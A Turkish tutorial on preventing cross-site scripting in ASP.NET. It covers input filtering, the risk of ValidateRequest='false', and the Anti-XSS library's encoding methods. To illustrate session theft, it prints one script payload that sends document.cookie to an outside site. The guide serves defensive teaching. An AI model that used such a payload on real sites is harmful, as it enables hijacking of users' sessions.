
Son yıllarda önemini güvenlik bültenlerinde üst sıralara taşıyan bir güvenlik problemi olan XSS, istatistiklerde de %39’luk bir paya sahiptir. En sık rastlanan problemlerden biri olması nedeniyle kötü niyetli kişilerin ilk uğraştıkları hedef noktalardan biri haline geliyor. XSS,uygulamalarımızda veri girişi yapılan noktalarda iyi denetim yapılamamasından dolayı oluşuyor.
Kullanıcı tarafından girilen değerler herhangi bir filtrelemeden geçmeden direk işleme konulduğu takdirde HTML ve JavaScript tabanlı kod yapıları aktif olarak uygulamamızı negatif yönde tetikleyebiliyor.
XSS ataklarına karşı en etkili çözüm yollarından biri girdi değerlerinin filtrelenmesidir. Filtrelenmiş değerler uygulamanızda belirlediğiniz alana ne tür girdilerin olacağına karar vermeniz ile doğru orantılıdır. Bir TC Kimlik numarası girdisi yapacağınız noktada harf ve diğer sembollerin girişini engellemeniz uygulamanızı bir kat daha güvende kılacaktır.
Web uygulamalarınızda kullanıcılarınızın oturum bilgilerinin güvenliği XSS ataklarının olduğu noktalarda çalınması mümkündür.
<script>
document.location='http://www.site.com/yaz.aspx?a='+document.cookie
</script>
Gördüğünüz javascript kodu vasıtasıyla kullanıcılarınıza ait oturum bilgileri saldırganın belirlediği web sitesine kayıt edilebiliyor.ASP.NET uygulamalarında diğer yazılım dillerine oranla default olarak “<” ve “>” karakterlerinin “Potansiyel Tehlikeli Bilgi” olarak algılanması uygulamanın güvenliği riske atmıyor.
Uygulamalarımızda özellikle kullanıcı arayüzü olan noktalarda tercih edilen gelişmiş metin editörleriyle birlikte HTML içeriklerinde web sayfamıza yansıtılması gerekenler durumlar oluyor.
Bu durumlarda genellikle ValidateRequest="false" ile birlikte HTML girişlerine izin veriliyor ve bu sebepten dolayı XSS ataklarına maruz kalınması söz konusu olunuyor. Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabiliyor.
Projelerimizde zararlı içeriklerin temizlenmesi ve pasif kılınması konusundaki en önemli çözümlerden biri Anti-XSS kütüphanesinin kullanımıdır. AntiXSSLibrary.dll dosyamızı projemize referans ettikten sonra filtreleme işlemlerini kolaylıkla gerçekleştirebilirsiniz.
Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.
Bu metotlar :
- HtmlEncode
- HtmlAttributeEncode
- JavaScriptEncode
- UrlEncode
- VisualBasicScriptEncode
- XmlEncode
- XmlAttributeEncode
TextBox1.Text tarafından girilen değerleri Anti-XSS filtresinden geçirmek için benzer bir yapıyı kullanabiliriz.
string mystring = Microsoft.Security.Application.AntiXss.JavaScriptEncode(TextBox1.Text, false) ;
Uygulamalarınızın güvenliğini Anti-XSS kütüphanesine dahil olarak izleyeceğiniz politikalar ile güçlendirebilirsiniz. Request Validation özelliğine her noktada güvenmemeniz ve mümkün olduğunca uygulamalarınızda Anti-XSS kütüphanesini kullanmanız güvenliğiniz için önemli derece yarar sağlayacaktır.
AntiXSS Library Download